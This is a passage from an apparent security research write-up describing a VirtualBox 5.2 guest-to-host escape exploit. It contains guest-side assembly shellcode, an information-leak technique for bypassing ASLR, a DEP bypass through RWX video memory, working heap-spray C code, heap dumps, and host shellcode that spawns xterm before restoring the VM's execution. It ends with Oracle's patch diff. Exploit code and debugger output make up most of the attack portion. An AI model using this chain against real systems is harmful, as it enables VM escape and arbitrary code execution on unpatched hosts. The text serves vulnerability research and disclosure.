	push r14
	push r15
	; IDirect3DSurface9* pSrcSurfIf = [rsp + 0260h]
	; We add 8 to because the shellcode is call'ed by the patch
	; We also add 112 to account all the push'es (8 * 14)
	mov rax, qword ptr [rsp + 0260h + 08h + 070h];
	; wined3d_surface* surface = ((d3d9_surface*)pSrcSurfIf)->wined3d_surface
	mov rax, qword ptr [rax + 010h]
	; uint32_t hostId = surface->texture_name
	mov eax, dword ptr [rax + 0F4h]
	; Save Host ID
	mov dword ptr [gHostId], eax
	; Replace the patch with original bytes so the shellcode will not be called anymore
	call RestoreBytes
	pop r15
	pop r14
	pop r13
	pop r12
	pop r11
	pop r10
	pop r9
	pop r8
	pop rdi
	pop rsi
	pop rdx
	pop rcx
	pop rbx
	pop rax
	ret
Shellcode ENDP
END

The shellcode takes pSrcSurfIf, the value returned by VBoxD3DIfSurfGet, and goes through several structures to get Host ID. After that the shellcode restores an original bytes at the place of the jumper. This process of patching, hijacking, and restoring is repeated for 4 times. It’s because there are several Host ID and we must not accidentally take the lowest. For more details, see the HostIdHijacker.c file (not included in this blog post, for details on how to obtain it see the bottom of this post).
After Host ID is gathered it’s returned to the launcher process via WriteProcessMemory.
Stage 3: Exploitation
Preparations
dwm.exe process is suspended using PsSuspend tool by Sysinternals.
The launcher sends IOCTL_EXPLOIT command to the driver. The driver initializes HGSMI interface to communicate with the host.
ASLR Bypass
To bypass ASLR we need an additional vulnerability, ideally an information leak. There is such vulnerability in a handler of CR_GETCHROMIUMPARAMETERVCR_EXTEND_OPCODE Chromium command. The handler allocates a buffer on the stack and then reads it with length specified in the command, without a boundaries check. This way we able to obtain addresses inside VBoxSharedCrOpenGL.so and VBoxDD.so.

(/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserverlib/server_misc.c)
void SERVER_DISPATCH_APIENTRY crServerDispatchGetChromiumParametervCR(GLenum target, GLuint index, GLenum type, GLsizei count, GLvoid *values)
{
    GLubyte local_storage[4096];
    GLint bytes = 0;
    switch (type) {
    case GL_BYTE:
    case GL_UNSIGNED_BYTE:
         bytes = count * sizeof(GLbyte);
         break;
    case GL_SHORT:
    case GL_UNSIGNED_SHORT:
         bytes = count * sizeof(GLshort);
         break;
    case GL_INT:
    case GL_UNSIGNED_INT:
         bytes = count * sizeof(GLint);
         break;
    case GL_FLOAT:
         bytes = count * sizeof(GLfloat);
         break;
    case GL_DOUBLE:
         bytes = count * sizeof(GLdouble);
         break;
    default:
         crError("Bad type in crServerDispatchGetChromiumParametervCR");
    }
...
    crServerReturnValue( local_storage, bytes );
}

DEP Bypass
Not so difficult protection for this day. It might be enough to make a ROP chain but we have a quite scarce control of registers at the time of the vulnerable call [rax+320h], so I decided to search for another ways. It turned out that a host VirtualBox process has a memory region corresponding to guest video memory (VRAM) and its protection is RWX. If there is a pointer to VRAM in the host process, we could leak it using the information leak bug described above and transfer the control to VRAM where a shellcode written by our guest driver will be residing.
Indeed, there is a global variable in /src/VBox/HostServices/SharedOpenGL/crserverlib/server_main.c that stores an address of VRAM:

uint8_t* g_pvVRamBase = NULL;

Moreover, server_main.c is a part of VBoxSharedCrOpenGL.so library which address can be easily leaked, and the variable itself is placed at the fixed offset from the libary.
Thus to bypass DEP we leak VBoxSharedCrOpenGL.so address, add a fixed offset to it to obtain a pointer to g_pvVRamBase variable, and then force the host process to place the pointer in such way that later our ROP code will read a VRAM address from the pointer and will transfer the control to video memory. As we’ll see soon, just one ROP gadget is enough for that.
Heap Spray
The last step is to spray the heap. We need to create many H3DORInstance-s following by a chunks with content controlled by us. To create a display I send VBOXCMDVBVA_FLIP command, as it does the WDDM driver. To allocate chunks of arbitrary content I send CR_PROGRAMNAMEDPARAMETER4DVNV_EXTEND_OPCODE command. This command accepting a buffer as an argument allocates memory and copies the buffer content to it, but doesn’t deallocates it even if the command is failed. I use this “feature” to pass the buffer of the following content:

Offset 0x00: <address-of-rop-gadget>
Offset 0x08: <address-of-g_pvVRamBase>
Offset 0x10: <address-of-rop-gadget>
Offset 0x18: <address-of-g_pvVRamBase>
... and so on.

As you can see, our buffers contain only two values. The first, a pointer to the rop gadget, is placed at addresses modulo 16, so one of them will be used in the vulnerable call command. Remember:

.text:0000000000100DFF                 mov     rax, [rax]
.text:0000000000100E02                 mov     rdi, [rdi+8]
.text:0000000000100E06                 call    qword ptr [rax+320h]

The second, a pointer to g_pvVRamBase, is placed at addresses not modulo 16, and one of them will be used in the ROP gadget:

gef➤  x/3i $pc
=> 0x7f8485c3c403:	mov    rax,QWORD PTR [rax+0x48]
   0x7f8485c3c407:	mov    rdi,rax
   0x7f8485c3c40a:	call   QWORD PTR [rax]

Summarizing, the heap layout at the time of the vulnerable call will be like that:

gef➤  x/128gx $rax
0x7f83cfd4f2e0:	0x00007f8485c3c403	0x0000000000000035
0x7f83cfd4f2f0:	0x00007f83cf0c2000	0x00007f83cfd50d70
0x7f83cfd4f300:	0x0000000000000000	0x0000029b00000556
0x7f83cfd4f310:	0x0000000000010101	0x0000000000000305
0x7f83cfd4f320:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f330:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f340:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f350:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f360:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f370:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f380:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f390:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f3a0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f3b0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f3c0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f3d0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f3e0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f3f0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f400:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f410:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f420:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f430:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f440:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f450:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f460:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f470:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f480:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f490:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f4a0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f4b0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f4c0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f4d0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f4e0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f4f0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f500:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f510:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f520:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f530:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f540:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f550:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f560:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f570:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f580:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f590:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f5a0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f5b0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f5c0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f5d0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f5e0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f5f0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f600:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f610:	0x00007f8485c3c403	0x0000000000000025
0x7f83cfd4f620:	0x00007f83cfd4f940	0x00007f83cfd4e020
0x7f83cfd4f630:	0x0000000007ffa000	0x0000000000000305
0x7f83cfd4f640:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f650:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f660:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f670:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f680:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f690:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f6a0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f6b0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f6c0:	0x00007f8485c3c403	0x00007f849fff1650
0x7f83cfd4f6d0:	0x00007f8485c3c403	0x00007f849fff1650

Here is the main part of the heap sprayer. It creates 64 displays and sprays 16384 chunks of size 0x2F8 holding the buffer shown above for each display.

for (uint32_t i = 0; i < 64; i++) {
	uint32_t currentBufferSize = 0x2F8;
	// We reinitialize the content of the buffer on each iteration not 		because it becomes dirty
	// but because without it the spraying is too fast and many of 			submitted buffers
	// are just ignored.
	for (uint32_t j = 0; j < 1024 * 16; j++) {
		*(pData + 3) = CR_EXTEND_OPCODE;
		*(uint32_t*)(pData + 4) = 0; // unused
		*(uint32_t*)(pData + 8)
			= CR_PROGRAMNAMEDPARAMETER4DVNV_EXTEND_OPCODE;
		*(uint32_t*)(pData + 12) = 0xFFFFFFFF; // id
		*(uint32_t*)(pData + 16) = currentBufferSize; // len
		*(uint64_t*)(pData + 20) = 0; // params[0]
		*(uint64_t*)(pData + 28) = 0; // params[1]
		*(uint64_t*)(pData + 36) = 0; // params[2]
		*(uint64_t*)(pData + 44) = 0; // params[3]
		const uint32_t bufferOffset = 52;
		bool spraySelector = 1;
		for (uint32_t off = bufferOffset; off < bufferOffset + 				currentBufferSize; off += sizeof(uint64_t)) {
			if (spraySelector) {
				*(uint64_t*)(pData + off) = rop_1;
			} else {
				*(uint64_t*)(pData + off) = vram_ptr;
			}
			spraySelector = !spraySelector;
		}
		int rc = VBoxHGSMIBufferSubmit(guestCtx, pShgsmiHdr);
		if (!RT_SUCCESS(rc)) {
			return STATUS_UNSUCCESSFUL;
		}
	}
	/* Create H3DORInstance (display) */
	MySendCrCmdFlip(pDevExt, pContext, hostId, i);
	RTThreadSleep(500);
}

Shellcode and Process Continuation
When the call to the rop gadget is performed we are jumping into the shellcode residing in mapped VRAM:

gef➤  x/19i $pc
=> 0x7f8478000000:	mov    rax,0x3a
   0x7f8478000007:	syscall
   0x7f8478000009:	test   rax,rax
   0x7f847800000c:	jne    0x7f8478000048
   0x7f847800000e:	lea    rsi,[rip+0x4e]        # 0x7f8478000063
   0x7f8478000015:	mov    QWORD PTR [rip+0x6b],rsi        # 0x7f8478000087
   0x7f847800001c:	lea    rsi,[rip+0x57]        # 0x7f847800007a
   0x7f8478000023:	mov    QWORD PTR [rip+0x6d],rsi        # 0x7f8478000097
   0x7f847800002a:	lea    rdi,[rip+0x32]        # 0x7f8478000063
   0x7f8478000031:	lea    rsi,[rip+0x4f]        # 0x7f8478000087
   0x7f8478000038:	lea    rdx,[rip+0x58]        # 0x7f8478000097
   0x7f847800003f:	mov    rax,0x3b
   0x7f8478000046:	syscall
   0x7f8478000048:	mov    rdi,QWORD PTR [rsp+0x1c8]
   0x7f8478000050:	add    rbp,0x2b0
   0x7f8478000057:	add    rsp,0x1d0
   0x7f847800005e:	xor    rax,rax
   0x7f8478000061:	push   rdi
   0x7f8478000062:	ret

The shellcode does fork+execve to spawn xterm in the child process. To continue execution of the virtual machine, we must configure RBP and RSP in such way that the RET instruction will return us back to svcHostCallPerform function where the RDP connection closure was initiated. In order to do so, one adds 0x2B0 to RBP and 0x1D0 to RSP.
Patch
Oracle has fixed the vulnerability by moving the function call causing the double free out of the loop:

--- VirtualBox-5.2.16/src/VBox/HostServices/SharedOpenGL/crserverlib/presenter/display_base.cpp
+++ VirtualBox-5.2.18/src/VBox/HostServices/SharedOpenGL/crserverlib/presenter/display_base.cpp
@@ -326,10 +326,10 @@
             WARN(("err"));
             break;
         }
-
-        CrFbVisitCreatedEntries(mpFb, entriesDestroyCb, this);
     }
+    CrFbVisitCreatedEntries(mpFb, entriesDestroyCb, this);
+
     return rc;
 }

?

Get in touch